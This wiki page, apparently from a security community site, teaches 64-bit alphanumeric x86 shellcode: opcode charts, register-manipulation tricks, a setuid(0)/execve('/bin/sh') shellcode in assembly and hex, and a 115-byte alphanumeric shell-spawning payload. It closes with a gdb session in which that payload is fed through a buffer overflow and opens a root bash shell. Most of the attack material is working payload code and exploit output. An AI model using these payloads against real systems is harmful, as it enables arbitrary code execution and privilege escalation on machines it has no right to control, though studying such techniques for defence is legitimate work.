Questions about this topic? Sign up to ask in the talk tab.
Alphanumeric shellcode
From NetSec
Revision as of 13:46, 29 April 2012 by LashawnSeccombe (Talk | contribs) (→Alphanumeric Opcode Compatibility)
While 32 bit alphanumeric code is widely documented, this is the first public research of 64-bit alphanumeric code. |
Contents
Available Instructions
Notice: This chart contains 64-bit alphanumeric opcodes. 32-bit alphanumeric opcodes are available at the 32-bit ascii shellcode entry.
'0' 0x30 xor %{16bit}, (%{64bit}) '1' 0x31 xor %{32bit}, (%{64bit}) '2' 0x32 xor (%{64bit}), %{16bit} '3' 0x33 xor (%{64bit}), %{32bit} '4' 0x34 xor [byte], %al '5' 0x35 xor [dword], %eax '6' 0x36 %ss segment register '7' 0x37 Bad Instruction! '8' 0x38 cmp %{16bit}, (%{64bit}) '9' 0x39 cmp %{32bit}, (%{64bit})
'A' 0x41 64 bit reserved prefix 'B' 0x42 64 bit reserved prefix 'C' 0x43 64 bit reserved prefix 'D' 0x44 64 bit reserved prefix 'E' 0x45 64 bit reserved prefix 'F' 0x46 64 bit reserved prefix 'G' 0x47 64 bit reserved prefix 'H' 0x48 64 bit reserved prefix 'I' 0x49 64 bit reserved prefix 'J' 0x4a 64 bit reserved prefix 'K' 0x4b 64 bit reserved prefix 'L' 0x4c 64 bit reserved prefix 'M' 0x4d 64 bit reserved prefix 'N' 0x4e 64 bit reserved prefix 'O' 0x4f 64 bit reserved prefix 'P' 0x50 push %rax 'Q' 0x51 push %rcx 'R' 0x52 push %rdx 'S' 0x53 push %rbx 'T' 0x54 push %rsp 'U' 0x55 push %rbp 'V' 0x56 push %rsi 'W' 0x57 push %rdi 'X' 0x58 pop %rax 'Y' 0x59 pop %rcx 'Z' 0x5a pop %rdx
'a' 0x61 Bad Instruction! 'b' 0x62 Bad Instruction! 'c' 0x63 movslq (%{64bit}), %{32bit} 'd' 0x64 %fs segment register 'e' 0x65 %gs segment register 'f' 0x66 16 bit operand override 'g' 0x67 16 bit ptr override 'h' 0x68 push [dword] 'i' 0x69 imul [dword], (%{64bit}), %{32bit} 'j' 0x6a push [byte] 'k' 0x6b imul [byte], (%{64bit}), %{32bit} 'l' 0x6c insb (%dx),%es:(%rdi) 'm' 0x6d insl (%dx),%es:(%rdi) 'n' 0x6e outsb %ds:(%rsi),(%dx) 'o' 0x6f outsl %ds:(%rsi),(%dx) 'p' 0x70 jo [byte] 'q' 0x71 jno [byte] 'r' 0x72 jb [byte] 's' 0x73 jae [byte] 't' 0x74 je [byte] 'u' 0x75 jne [byte] 'v' 0x76 jbe [byte] 'w' 0x77 ja [byte] 'x' 0x78 js [byte] 'y' 0x79 jns [byte] 'z' 0x7a jp [byte]
Alphanumeric Opcode Compatibility
Intercompatible opcodes are important to note due to the fact that many opcodes overlap and thus, writing shellcode that will run on both 32 bit and 64 bit x86 platforms becomes possible. This chart was derived by cross referencing available 64 bit instructions with available 32 bit instructions.
###################################################### # Intercompatible x86* alphanumeric opcodes # ###################################################### # 0x64,0x65 # d,e # [fs|gs] prefix # # 0x66,0x67 # f,g # 16bit [operand|ptr] override # # 0x68,0x6a # h,j # push # # 0x69,0x6b # i,k # imul # # 0x6c-0x6f # l-o # ins[bwd], outs[bwd] # # 0x70-0x7a # p-z # Conditional jumps # # 0x30-0x35 # 0-5 # xor # # 0x36 # 6 # %ss segment register # # 0x38-0x39 # 8,9 # cmp # # 0x50-0x57 # P-W # push *x,*i,*p # # 0x58-0x5a # XYZ # pop [*ax, *cx, *dx] # ######################################################
Because not all opcodes are intercompatible, it is possible to determine the architecture of an x86 processor using alphanumeric opcodes.
Using machine code compatibility hiccups to determine CPU architecture
[root@ares bha]# strings xarch32.o TX4HPZTAZAYVH92 [root@ares bha]# strings xarch64.o TX4HPZTAZAYVH92 [root@ares bha]# echo -n $(strings xarch32.o)|wc -c 15 [root@ares bha]# # Returns true on a 32 bit system: [root@ares bha]# objdump -d xarch32.o xarch32.o: file format elf32-i386 Disassembly of section .text: 00000000 <_start>: 0: 54 push %esp 1: 58 pop %eax 2: 34 48 xor $0x48,%al 4: 50 push %eax 5: 5a pop %edx 6: 54 push %esp 7: 41 inc %ecx 8: 5a pop %edx 9: 41 inc %ecx a: 59 pop %ecx b: 56 push %esi c: 48 dec %eax d: 39 32 cmp %esi,(%edx) [root@ares bha]# # Returns false on a 64 bit system: [root@ares bha]# objdump -d xarch64.o xarch64.o: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <_start>: 0: 54 push %rsp 1: 58 pop %rax 2: 34 48 xor $0x48,%al 4: 50 push %rax 5: 5a pop %rdx 6: 54 push %rsp 7: 41 5a pop %r10 9: 41 59 pop %r9 b: 56 push %rsi c: 48 39 32 cmp %rsi,(%rdx) [root@ares bha]# # Will not cause a segfault because (%rdx) points to somewhere inside the stack. [root@ares bha]# # Now we can use all uppercase/numeric unicode-resistant shellcode to determine [root@ares bha]# # cpu architecture regardless of the operating system. Enjoy.
Starting Shellcode (64-bit)
This was converted to shellcode from the example in 64 bit linux assembly |
setuid(0); execve('/bin/sh'); - 34 bytes
.section .data .section .text .globl _start _start: xor %rdi, %rdi push $0x69 pop %rax syscall # setuid(0) # a function is f(%rdi,%rdx,%rsi). # Use zeroed memory to zero out %rsi, %rdi, %rdx push %rdi push %rdi pop %rsi pop %rdx # Store '/bin/sh\0' in %rdi movq $0x68732f6e69622f6a, %rdi shr $0x8,%rdi push %rdi push %rsp pop %rdi push $0x3b pop %rax syscall # execve('/bin/sh', null, null) # function no. is 59/0x3b - execve() |
- Setuid(0) - 8 bytes
"\x48\x31\xff\x6a\x69\x58\x0f\x05"
- execve('/bin/sh') - works if %rdi is null at beginning of execution (like it is in the setuid call) - 26 bytes
"\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
- Altogether - 34 bytes:
"\x48\x31\xff\x6a\x69\x58\x0f\x05\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
64 bit alphanumeric code register manipulation guide
# This is nothing except for how-to zero out # all the cpu registers in alpha space push %rsp pop %rcx # Now, watch carefully. push %rsi xor %ss:(%rcx), %rsi # Zero out %rsi pop %r8 # setting %rsp back to %rcx
push %rdi xor %ss:(%rcx), %rdi # Zero out %rdi pop %r8 # set %rsp to %rcx push %rdi pop %rdx # rdx is zero
push $0x30 pop %rax xor $0x30, %al # zeroed out %rax
# Time to zero %rbx and %rbp xor %ss:0x30(%rcx), %rax xor %rax, %ss:0x30(%rcx) # Zero that stack slot xor %rbx, %ss:0x30(%rcx) xor %ss:0x30(%rcx), %rbx # %rbx is zero
push %rdx pop %rax # re-initialize %rax as dummy
xor %ss:0x30(%rcx), %rax xor %rax, %ss:0x30(%rcx) xor %rbp, %ss:0x30(%rcx) xor %ss:0x30(%rcx), %rbp # %rbp is zero
# Setting register values and data manipulation # in alphanumeric code for the 64 bit amd. # by hatter (blackhatacademy.org)
# The first method to set the value of a # register is using push/pop.
# The following pushes are valid # alphanumeric code:
# pushw [word] \x66\x68\x##\x## fh?? # pushq [byte] \x6a\x## j? # pushq [dword] \x68\x##\x##\x##\x## h???? # # So we can tell from that we can push our own # alphanumeric data in one byte, two byte, and # four-byte quantities at once. # # 64 bit registers: # %r8-%r15, rax,rcx,rdx,rbx,rsp,rbp,rsi,rdi # 0x41[0x50-57] # # push %r8 \x41\x50 AP # push %r9 \x41\x51 AQ # push %r10 \x41\x52 AR # push %r11 \x41\x53 AS # push %r12 \x41\x54 AT # push %r13 \x41\x55 AU # push %r14 \x41\x56 AV # push %r15 \x41\x57 AW # # We can see here quickly that the 'A' opcode is # actually a prefix for the extended 64 bit CPU # registers. We can tell that %r8-%r15 correspond # to registers %rax-%rdi when examining our next # push instructions: # # push %rax \x50 P # push %rcx \x51 Q # push %rdx \x52 R # push %rbx \x53 S # push %rsp \x54 T # push %rbp \x55 U # push %rsi \x56 V # push %rdi \x57 W # # 16 bit registers: # 0x66 or 'f' prefix: # %r8w-%r15w # %ax,%cx,%dx,%bx,%sp,%bp,%si,%di # example: \x41\x50, "push %r8" (AP) # becomes: \x66\x41\x50, "push %r8w" (fAP)
# The following pops are alphanumeric: # * Protip, the %r's take +1 byte # # 64-bit registers: # %rcx, %rdx, %rax # # pop %rax \x58 X # pop %rcx \x59 Y # pop %rdx \x5a Z # # * Use \x41 (A) prefix to access %r8-r10 e.g. AX # # 16 bit registers (using 0x66 or 'f' # [sometimes fA] prefix): # %cx, %dx, %ax, %r8w, %r9w, %r10w # # So, using push and pop we can set the values of # 6 fullsize CPU registers: # %rax, %rcx, %rdx, %r8, %r9, %r8 # # Or get any values of 16 fullsize CPU registers # to the top of the stack: # %r8-%r15, %rax-%rdi # # Lets look quickly. We've got 5 main registers # and 5 special 64 bit registers we can push but # not pop: # %rbx, %rsp, %rbp, %rsi, %rdi # # How can we write to those (or read their # sub-registers) using alphanumeric bytecode # instructions and operands only? We can also # presumably use any of the 6 full control # registers by our emulating for mov with push # and pop. Using only the registers we can # already access, we will attempt to get # instructions for our use to set values. # # We've identified our special register prefix, # 0x41, 'A'. # We've identified our word operand override, # 0x66, 'f'. # # Lets identify all the alphanumeric overrides and prefixes. # Notice these overrides are very similar to those for 32 # bit platforms. # # 0x36, '6', %ss segment override. Very handy. # 0x64, 'd', %fs segment override # 0x65, 'e', %gs segment override # # 0x66, 'f', 16 bit operand size # 0x67, 'g', 16 bit address size # # 0x41, 'A', 64 bit special register use (%r##) # 0x48, 'H', 64 bit register size override # # 0x40-4a, special 64 bit overrides # # Now is probably a good time to mention that the # opcodes used for popping a register can also be # used as 'register operands' for more advanced # instructions. For example, take this xor # instruction: # xor $0x[byte](%rax),%ebx # "\x33\x58\x##" "3X?" # # The %rax register can be changed to %rcx or %rdx # using the 0x59 (Y) and 0x5a (Z) opcodes in place # of the 0x58 (X) opcode: # xor $0x[byte](%rax),%ebx # "\x33\x59\x##" "3Y?" # # Whenever there's a controllable register, we'll # use the notation {reg} so we'll recognize it as # an option. In our bytecodes and string examples, # we will use a '?' in the bytecode itself and a # '*' to denote the register operand, for example: # xor $0x[byte]({reg}),%ebx # "\x33\x??\x##" "3*?" # # So start memorizing the opcodes for rax,rcx, and # rdx, and get it in your head that they'll be used # frequently. When we run into multiple operands, # we'll use their operand number in the notation # for readability purposes. # # -Xor # -Imul # -Movslq # # Identifying the ways to set the rest of our # registers, while investigating %rbx, was not # entirely fruitful. We do not get full control # over the %rbx register, however, we get write # access to sub-registers: # %ebx, %bx, %bh, %bl # We can access these by using xor, imul, and # movslq instructions: # -%ebx: # xor $0x[byte]({reg}),%ebx # "\x33\x??\x##" "3*?" # # imul $0x[dword1],0x[byte2]({reg}),%ebx # "\x69\x??\x#2\x#1\x#1\x#1\x#1" "i*21111" # # imul $0x[byte1],0x[byte2]({reg}), %ebx # "\x6b\x??\x#2\x#1" "k*21" # # movslq 0x[byte1]({reg}), %ebx # "\x63\x??\x## "c*?" # # Note: if you want to access the %ss segment, put # the prefix at the beginning of the bytecode of # instructions (e.g. "63*?" in stead of "3*?"). If # you'd like to use the special 64 bit registers, # put 0x41 or "A" at the beginning of the bytecode. # if you need to use both, you must always use the # %ss segment register prefix first, e.g. '6A3*?'. # # Using one of our 64 bit force operators, we can # use any of those instructions on %ebx with an # override to treat it as %rbx (in this case, 0x48). # # imul $0x[byte1],0x[byte2]({reg}),%rbx # "\x48\x6b\x??\x#2\x#1" "Hk*21" # # So all we really have to set the value of %rbx # directly is imul, xor, and movslq. It's similar # for our other registers that we can't directly # access yet, save for a couple. # # Left over, we have %rsp, %rbp, %rdi, and %rsi. # Lets take a closer look at xor. Starting at # 0x30 and ending at 0x35 we have some pretty # valuable xor commands: # # 0x34: xor $0x##, %al # 0x35: xor $0x########, %eax # 0x48 0x35 : xor $0x########, %rax # # 0x30 is a multi-byte xor instruction. Requiring # at least two operands (even if register denote): # # 0x30 - xor %{16bit}, (%{64bit}) # xor %{16bit}, (%{64bit},%{64bit},1) # xor %{16bit}, (%{64bit},%{64bit},2) # # xor %{16bit}, 0x[byte](%{64bit}) # xor %{16bit}, 0x[byte](,%{64bit},1) # xor %{16bit}, 0x[byte](,%{64bit},2) # # xor %{16bit}, 0x[dword](%{64bit}) # xor %{16bit}, 0x[dword](,%{64bit},1) # xor %{16bit}, 0x[dword](,%{64bit},2) # # 0x31 - xor %{32bit}, (%{64bit}) # 0x31 is just as flexible as 0x30. Didn't document # all permutations here due to brevity. # # 0x32 - xor (%{64bit}), %{16bit} # 0x32 is just as flexible, although the offsets will # change source side rather than destination side. # # 0x33 - xor (%{64bit}), %{32bit} # 0x33 is the opposite of 0x31. Just as flexible. # # Lets combine our knowledge of xor with our knowledge # of the stack. When we push any data, our data is # accessible at %ss:(%rsp). Knowing this, we can use # another register in our available space (e.g. %rcx) # to set values on some of our more difficult registers: # %rbx, %rsp, %rbp, %rsi, %rdi # # First, we'll use push and pop to simulate 'mov': # # \x54 push %rsp # \x59 pop %rcx # \x5a pop %rax (This just sets the pointer back) # Two xor parameters allow us to set the index registers, # %rsi and %rdi. For now, we'll just zero them out: # # \x56 push %rsi # \x36\x48\x33\x31 xor %ss:(%rcx), %rsi # \x41\x58 pop %r8 # # \x57 push %rdi # \x36\x48\x33\x39 xor %ss:(%rcx), %rdi # pop %r8 # -------- # # Now we've zeroed out %rsi and %rdi. %r14 and %r15 # special registers can also be pushed and zeroed out in # this fashion. Now we have "full control" over: # %rax, %rcx, %rdx, %rsi, %rdi, %r8, %r9, %r10, %r14, # and %r15. We still need to gain full control over: # %rsp, %rbp, %rbx, %r11, %r12, and %r13 # # Similar to push, we're going to require some sort of # controllable data before the setting of a register. # Where pop is concerned, we might require something to # be pushed to the stack first, in this case, we just # require a zero register. Due to the way that xor # works, once we have a zero register at all, in this # case we will use %rax as our zero register, we can # use it to get %rbx, %rsp, and %rbp to zero if needed: # # # %rbx: # xor %ss:0x30(%rcx), %rax # store that value in rax # xor %rax, %ss:0x30(%rcx) # Null that area of stack # imul $0x30,%ss:0x30(%rax),%rbx # 0x30 * 0 = 0 # imul $0x30,%ss:0x30(%rax),%rbp # 0x30 * 0 = 0 # # Once the stack space, as well as the destination is set # to zero, we can effectively mov %rax, %rbp: # 36 48 31 41 30 xor %rax,%ss:0x30(%rcx) # 36 48 33 69 30 xor %ss:0x30(%rcx),%rbp # # Our closest thing to incrementing and decrementing is # our ability to use the ins and outs instructions to # add or subtract 1,2, or 4 against the %rdi register. # This still leaves us with no significant add or sub, # we can use imul with 16 and 8 bit registers to find # division though. We also have a magic mov; if %rsi is # not in use: # # movsql %ss:0x30(%rcx), %rsi # xor %rsi, %ss:0x30(%rsi) # # This can come in quite handy when chunking large # pieces of data to 0.
64 Bit Alphanumeric execve('/bin/sh') - 115 bytes
Code
- Assembled:
TYXjZX4UPXk9AHc49149hJG00X5EB00PXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWj0Hc9H39XTH39jXX4c
.global _start .text _start: # Set %rcx as stack pointer # and align %rsp push %rsp pop %rcx pop %rax # Get magic offset and store in %rdi push $0x5a pop %rax xor $0x55, %al push %rax # 0x14 on the stack now. pop %rax # add back to %esp imul $0x41, (%rcx), %edi # %rdi = 0x3cf, a "magic offset" for us # This is decimal value 975. # If this is too low/high, suggest a # modification to xor of %al for # changing the imul results # Write our syscall movslq (%rcx,%rdi,1), %rsi xor %esi, (%rcx,%rdi,1) # 4 bytes have been nulled push $0x3030474a pop %rax xor $0x30304245, %eax push %rax pop %rax # Garbage reg movslq (%rcx), %rsi xor %esi, (%rcx,%rdi,1) # Sycall written, set values now. # allocate 8 bytes for '/bin/sh\0' movslq 0x30(%rcx), %rsi xor %esi, 0x30(%rcx) movslq 0x34(%rcx), %rsi xor %esi, 0x34(%rcx) # Zero rdx, rsi, and rdi movslq 0x30(%rcx), %rdi movslq 0x30(%rcx), %rsi push %rdi pop %rdx # Store '/bin/sh\0' in %rdi push $0x5a58555a pop %rax xor $0x34313775, %eax xor %eax, 0x30(%rcx) # '/bin' just went onto the stack push $0x6a51475a pop %rax xor $0x6a393475, %eax xor %eax, 0x34(%rcx) # '/sh\0' just went onto the stack xor 0x30(%rcx), %rdi # %rdi now contains '/bin/sh\0' pop %rax push %rdi push $0x30 movslq (%rcx), %rdi xor (%rcx), %rdi # %rdi zeroed pop %rax push %rsp xor (%rcx), %rdi push $0x58 pop %rax xor $0x63, %al |
Successful Overflow Test
[root@ares bha]# gdb -q bof Reading symbols from /home/hatter/bha/bof...(no debugging symbols found)...done. (gdb) r `perl -e 'print "TYXjZX4UPXk9AHc49149hJG00X5EB00PXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWj0Hc9H39XTH39jXX4c" . "Y"x101 . "\x22\xec\xff\xff\xff\x7f";'` Starting program: /home/hatter/bha/bof `perl -e 'print "TYXjZX4UPXk9AHc49149hJG00X5EB00PXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWj0Hc9H39XTH39jXX4c" . "Y"x101 . "\x22\xec\xff\xff\xff\x7f";'` process 3318 is executing new program: /bin/bash [root@ares bha]# uname -m x86_64